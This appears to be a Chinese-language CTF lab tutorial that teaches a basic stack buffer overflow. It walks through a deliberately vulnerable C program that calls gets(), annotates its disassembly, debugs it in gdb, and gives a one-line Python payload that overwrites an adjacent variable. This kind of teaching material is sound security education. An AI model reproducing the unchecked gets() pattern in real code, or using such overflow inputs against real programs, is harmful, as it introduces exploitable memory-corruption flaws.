背景知识
-
了解CTF
CTF的全称是Capture The Flag,即夺旗的意思,因此CTF比赛也称为夺旗比赛。CTF夺旗赛是计算机安全竞赛的一种形式,CTF比赛主要表现以下几个技能上:逆向工程、密码 学、ACM编程、Web漏洞、二进制溢出、网络和取证等。在国际CTF赛事中,二进制溢出也称之为PWN。
CTF中PWN题型通常会直接给定一个已经编译好的二进制程序(Windows下的EXE或者Linux下的ELF文件等),然后参赛选手通过对二进制程 序进行逆向分析和调试来找到利用漏洞,并编写利用代码,通过远程代码执行来达到溢出攻击的效果,最终拿到目标机器的shell夺取flag。 -
Linux管道
Linux管道可以将一个进程的标准输出作为另一个进程的标准输入,管道的操作符号为“|”,比如ls命令可用于查看当前目录下的文件列表,而grep命 令可用于匹配特定的字符,因此ls | grep test命令可用于列出当前目录下文件名包含test的文件。 -
Python基础
在Linux shell中执行python -c "print ‘Hello’"可以执行双引号中的Python语句,即通过print打印出Hello字符串。Python中单引号和双引号没有区别,因为这里使用双 引号修饰Python语句,因此使用单引号修饰字符串。 -
gdb调试器
gdb是Linux下常用的一款命令行调试器,拥有十分强大的调试功能。本实验中需要用到的gdb命令如下:
-
汇编基础
读懂常见的汇编指令是CTF竞赛中PWN解题的基本要求,本实验中需要理解的汇编指令如下:
注:图为AT&T风格的汇编指令。
汇编语言中,esp寄存器用于指示当前函数栈帧的栈顶的位置,函数中局部变量都存储在栈空间中,栈的生长方向是向下的(即从高地址往低地址方向生长)。
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超 过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。
实验目的
1)了解CTF竞赛中的PWN题型
2)了解缓冲区溢出攻击
3)熟悉gdb的基本用法
实验环境
服务器:CentOS6.5,IP地址:随机分配
辅助工具:Python,gdb
实验步骤
描述:
主机/home/test/1目录下有一个pwn1程序,执行这个程序的时候可以输入数据进行测试,pwn1程序会输出Please try again.的提示信息,请对pwn1程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出Congratulations, you pwned it.信息。
源码审计
cd /home/test/1/
ls
cat pwn1.c
源代码如下:
#include <stdio.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
modified = 0;
gets(buffer); // 引发缓冲区溢出
if (modified != 0)
{
printf(“Congratulations, you pwned it.\n”);
}
else
{
printf(“Please try again.\n”);
}
return 0;
}
使用gets函数读取输入数据时,并不会对buffer缓冲区的长度进行检查,输入超长的输入数据时会引发缓冲区溢出。
使用gdb调试程序
执行gdb pwn1
即可开始通过gdb对pwn1进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可,然后执行disas main
查看汇编代码:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%ebp
0x080482a3 <+3>: and $0xfffffff0,%esp
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 <+6>: sub $0x60,%esp
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482a9 <+9>: movl $0x0,0x5c(%esp)
; buffer位于esp + 0x1C处
0x080482b1 <+17>: lea 0x1c(%esp),%eax
0x080482b5 <+21>: mov %eax,(%esp)
; 调用gets(buffer)读取输入数据
0x080482b8 <+24>: call 0x8049360
; 判断modified变量的值是否是0
0x080482bd <+29>: cmpl $0x0,0x5c(%esp)
; 如果modified的值等于0,就跳转到 0x080482d2
0x080482c2 <+34>: je 0x80482d2 <main+50>
; modified不为0,打印成功提示
0x080482c4 <+36>: movl $0x80b3eec,(%esp)
0x080482cb <+43>: call 0x8049500
0x080482d0 <+48>: jmp 0x80482de <main+62>
; modified为0,打印失败提示
0x080482d2 <+50>: movl $0x80b3f0b,(%esp)
0x080482d9 <+57>: call 0x8049500
0x080482de <+62>: mov $0x0,%eax
0x080482e3 <+67>: leave
0x080482e4 <+68>: ret
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖。
下面在gdb中进行验证,在gdb中执行b *0x080482bd
命令对gets的下一条指令下一个断点;在gdb中执行r命令,让被调试的pwn1程序跑起来,就可以输入数据进行测试了,这里我们输入64个A以及1个B(即 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB),按下 Enter键程序就在断点处断下了:
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x00000042,而0x42就是字符’B’的ASCII值,表明我们成功用输入数据的第65个字节覆盖了modified变量:
在gdb中连续两次执行ni命令,可以看到je指令没有跳转,说明modified的值不为0,程序进入输出通过信息的if语句分支:
在gdb中输入c命令就可以让程序继续执行,看到输出了通过提示信息:
体验溢出攻击效果
通过上面的步骤我们已经知道了如果控制输入数据来进行攻击,以达到进入if语句分支的目的。下面我们就可以通过构造输入数据进行攻击了。
如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过管道传给pwn1程序,执行命令python -c “print ‘A’*64+‘B’” | ./pwn1
课后习题